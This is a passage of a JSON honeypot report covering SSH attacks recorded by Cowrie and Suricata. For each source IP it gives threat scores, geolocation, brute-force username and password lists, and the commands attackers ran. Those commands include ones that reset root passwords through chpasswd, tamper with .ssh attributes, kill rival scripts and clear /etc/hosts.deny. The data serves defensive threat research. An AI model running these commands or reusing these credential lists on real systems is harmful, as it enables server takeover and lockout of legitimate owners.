        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T01:49:04.168000+00:00",
        "last_seen_30d": "2026-05-02T01:57:27.560000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 254,
        "Suricata": 128
      }
    },
    "170.106.197.91": {
      "attack_count": 252,
      "first_seen": "2026-05-16T17:51:25.329Z",
      "last_seen": "2026-05-16T18:20:14.522Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "op",
        "admin1234",
        "centos",
        "erfan",
        "es",
        "gemini",
        "gpadmin",
        "trader",
        "user",
        "zone"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "0708228AsBs!",
        "1",
        "123321",
        "1234.asd",
        "123456",
        "20192019",
        "Ba123456",
        "Cc112233",
        "Ctyun@2025",
        "P@$$w0rD",
        "Password123321",
        "Qaz12345678!",
        "Teste123",
        "aA1234567890",
        "admin1234",
        "erfan",
        "es@123",
        "gemini123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"op\\nSVBJkfbhf0UF\\nSVBJkfbhf0UF\\n\"|passwd",
        "echo \"root:BxS6IrNwpPNh\"|chpasswd|bash",
        "echo -e \"op\\nSVBJkfbhf0UF\\nSVBJkfbhf0UF\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 312,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T17:51:25.329000+00:00",
        "last_seen_30d": "2026-05-16T18:21:17.049000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 252,
        "Suricata": 60
      }
    },
    "51.77.158.34": {
      "attack_count": 247,
      "first_seen": "2026-05-28T16:30:40.798Z",
      "last_seen": "2026-05-29T07:48:29.247Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ntps",
        "deployer",
        "developer",
        "mailuser",
        "ubuntu",
        "user",
        "wfp"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "fjbdfdjkdsfs541544",
        "12345",
        "123456",
        "123456789",
        "Aa123456",
        "Abc@123",
        "Ll123456789",
        "Master123",
        "Qazwsx@123",
        "Qwerty123",
        "Redhat@123",
        "asd123...",
        "developer@123",
        "matrimonio",
        "p@55w0rd",
        "p@ssw0Rd",
        "qwe123!!",
        "serverroot"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:3Bu4hSvlcohk\"|chpasswd|bash",
        "echo \"tianyong123\\nreW68SFMG9ZL\\nreW68SFMG9ZL\\n\"|passwd",
        "echo -e \"tianyong123\\nreW68SFMG9ZL\\nreW68SFMG9ZL\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 36.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 306,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T16:30:40.798000+00:00",
        "last_seen_30d": "2026-05-29T07:49:33.826000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 247,
        "Suricata": 59
      }
    },
    "157.230.190.155": {
      "attack_count": 202,
      "first_seen": "2026-05-18T04:30:34.097Z",
      "last_seen": "2026-05-18T05:10:58.214Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!^)$!(*&",
        "audrey123",
        "foo123",
        "house",
        "ionyszaa",
        "leonie",
        "megha",
        "qwe@123",
        "weaver",
        "zh@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:caZ6d1Q6T4Cb\"|chpasswd|bash",
        "echo \"root:mFuNdfZoA8yu\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 20.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 245,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T04:30:34.097000+00:00",
        "last_seen_30d": "2026-05-18T05:12:08.019000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 202,
        "Suricata": 43
      }
    },
    "184.154.156.13": {
      "attack_count": 192,
      "first_seen": "2026-05-03T14:24:47.963Z",
      "last_seen": "2026-05-31T17:14:48.175Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 32475,
      "as_org": "Internap Holding LLC",
      "threat_score": 59.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.5,
        "persistence": 24.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 29,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T14:24:47.963000+00:00",
        "last_seen_30d": "2026-05-31T17:15:48.529000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 128,
        "Suricata": 96
      }
    },
    "193.70.122.120": {
      "attack_count": 174,
      "first_seen": "2026-05-08T03:08:39.790Z",
      "last_seen": "2026-05-31T11:18:14.695Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 55.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.1,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 204,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:08:39.790000+00:00",
        "last_seen_30d": "2026-05-31T11:19:15.593000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 116,
        "Suricata": 88
      }
    },
    "183.110.116.65": {
      "attack_count": 147,
      "first_seen": "2026-05-03T13:12:58.826Z",
      "last_seen": "2026-05-03T14:33:42.713Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "admin",
        "server",
        "345gs5662d34",
        "Ubuntu",
        "demouser",
        "deployer",
        "developer",
        "ftpuser",
        "oracle",
        "postgres",
        "testuser",
        "ts3bot1",
        "user2"
      ],
      "passwords_attempted": [
        "123456",
        "1234567",
        "345gs5662d34",
        "4444",
        "P455w0rd",
        "UBUNTU123",
        "Ubuntu",
        "abcdefg",
        "admin123",
        "admin@1234567890",
        "deployer1",
        "hadoop2020",
        "mit",
        "mysql2020",
        "name",
        "or",
        "postgres2014",
        "pwlamea123",
        "q",
        "qazxswedc"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 3.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 218,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T13:12:58.826000+00:00",
        "last_seen_30d": "2026-05-03T14:43:36.812000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 147,
        "Suricata": 71
      }
    },
    "45.169.200.254": {
      "attack_count": 144,
      "first_seen": "2026-05-23T14:24:33.766Z",
      "last_seen": "2026-05-23T15:22:54.648Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "vpn",
        "345gs5662d34",
        "7days",
        "gao",
        "myuser",
        "operador",
        "ubuntu",
        "user1",
        "utente"
      ],
      "passwords_attempted": [
        "123456",
        "12345678",
        "123456789",
        "3245gs5662d34",
        "345gs5662d34",
        "5201314..",
        "7days",
        "Manager@123",
        "Root12345!",
        "admin123",
        "hello",
        "myuser",
        "operador",
        "password123",
        "test",
        "test123!",
        "zx123456"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456789\\nydCyQ5ZHSYi6\\nydCyQ5ZHSYi6\\n\"|passwd",
        "echo -e \"123456789\\nydCyQ5ZHSYi6\\nydCyQ5ZHSYi6\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Cariacica",
      "asn": 268137,
      "as_org": "Net Sini Fiber Home Telecomunicacao LTDA - me",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 186,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T14:24:33.766000+00:00",
        "last_seen_30d": "2026-05-23T15:24:02.551000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 144,
        "Suricata": 42
      }
    },
    "69.5.21.28": {
      "attack_count": 143,
      "first_seen": "2026-05-22T16:24:16.167Z",
      "last_seen": "2026-05-22T17:22:30.109Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "hik",
        "jeff",
        "kiran",
        "mobile",
        "sdbadmin",
        "slave",
        "tfserver",
        "user-backup",
        "user1"
      ],
      "passwords_attempted": [
        "!qaz2wsx",
        "1",
        "1010",
        "123",
        "1231",
        "3245gs5662d34",
        "345gs5662d34",
        "Hik@2025",
        "Li@123456",
        "Qwerty@1234",
        "administrateur",
        "kiran",
        "mobile",
        "sdbadmin",
        "slave",
        "tfserver",
        "tianhu@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:YRHST6GUhXSj\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T16:24:16.167000+00:00",
        "last_seen_30d": "2026-05-22T17:23:35.065000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 42
      }
    },
    "41.60.239.180": {
      "attack_count": 132,
      "first_seen": "2026-05-22T20:41:32.205Z",
      "last_seen": "2026-05-23T04:21:39.771Z",
      "sessions": 66,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Zambia",
      "country_code": "ZM",
      "city": "Lusaka",
      "asn": 30844,
      "as_org": "Liquid Telecommunications Ltd",
      "threat_score": 26.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 198,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T20:41:32.205000+00:00",
        "last_seen_30d": "2026-05-23T04:22:41.146000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 132,
        "Suricata": 66
      }
    },
    "43.162.112.238": {
      "attack_count": 121,
      "first_seen": "2026-05-26T20:25:14.338Z",
      "last_seen": "2026-05-26T20:49:41.904Z",
      "sessions": 21,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "systemd",
        "ubuntu",
        "deploy",
        "family",
        "git",
        "iqbal",
        "javier",
        "readonly"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123454321",
        "123456",
        "123qweasdZXC",
        "Abc!@#123",
        "Q1w2e3r4t5!",
        "Qweasdzxc",
        "Voidsetdownload.so",
        "Wm123456@",
        "a123456*",
        "aA112233..",
        "aa789789",
        "family",
        "fjbdfdjkdsfs541544AA@@",
        "git2024",
        "iqbal",
        "javier",
        "test"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 29.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 168,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T20:25:14.338000+00:00",
        "last_seen_30d": "2026-05-26T20:50:48.428000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 121,
        "Suricata": 47
      }
    },
    "209.99.190.200": {
      "attack_count": 119,
      "first_seen": "2026-05-30T12:30:45.215Z",
      "last_seen": "2026-05-30T12:48:35.698Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "root",
        "alex",
        "345gs5662d34",
        "ubuntu",
        "vncuser"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin123",
        "Hello123",
        "Wangsu@123",
        "Zz@123123",
        "a123456!",
        "abcd=1234",
        "amit@123",
        "qweasd123",
        "vncuser"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123456\\nrN5PSSktWgVI\\nrN5PSSktWgVI\\n\"|passwd",
        "echo -e \"123456\\nrN5PSSktWgVI\\nrN5PSSktWgVI\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": "Zurich",
      "asn": 402253,
      "as_org": "SKN Subnet & Telecom Ltd",
      "threat_score": 33.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T12:30:45.215000+00:00",
        "last_seen_30d": "2026-05-30T12:49:44.605000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "66.90.98.90": {
      "attack_count": 108,
      "first_seen": "2026-05-11T00:48:47.752Z",
      "last_seen": "2026-05-30T20:29:02.474Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 30058,
      "as_org": "FDCservers.net",
      "threat_score": 48.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.0,
        "persistence": 16.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 126,
        "days_active_30d": 20,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T00:48:47.752000+00:00",
        "last_seen_30d": "2026-05-30T20:30:10.153000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 54
      }
    },
    "188.44.20.30": {
      "attack_count": 102,
      "first_seen": "2026-05-08T14:27:27.849Z",
      "last_seen": "2026-05-31T16:12:21.147Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "North Macedonia",
      "country_code": "MK",
      "city": "Struga",
      "asn": 57374,
      "as_org": "Company for communications services A1 Makedonija DOOEL Skopje",
      "threat_score": 52.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 20.8,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T14:27:27.849000+00:00",
        "last_seen_30d": "2026-05-31T16:13:27.230000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 51
      }
    },
    "104.155.154.215": {
      "attack_count": 79,
      "first_seen": "2026-05-15T08:35:10.840Z",
      "last_seen": "2026-05-15T08:39:08.546Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "warnight",
        "345gs5662d34",
        "transfer"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "transfer",
        "warnight"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"warnight\\np79Gq3JD0uHh\\np79Gq3JD0uHh\\n\"|passwd",
        "echo -e \"warnight\\np79Gq3JD0uHh\\np79Gq3JD0uHh\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 88,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T08:35:10.840000+00:00",
        "last_seen_30d": "2026-05-15T08:40:15.401000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 79,
        "Suricata": 9
      }
    },
    "129.232.21.159": {
      "attack_count": 76,
      "first_seen": "2026-05-20T23:14:24.645Z",
      "last_seen": "2026-05-21T06:08:09.241Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Lesotho",
      "country_code": "LS",
      "city": "Maseru",
      "asn": 33567,
      "as_org": "TELECOM-LESOTHO",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 117,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T23:14:24.645000+00:00",
        "last_seen_30d": "2026-05-21T06:09:15.060000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 76,
        "Suricata": 41
      }
    },
    "34.140.103.90": {
      "attack_count": 73,
      "first_seen": "2026-05-19T08:12:03.127Z",
      "last_seen": "2026-05-19T08:12:48.537Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 4452",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 20.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
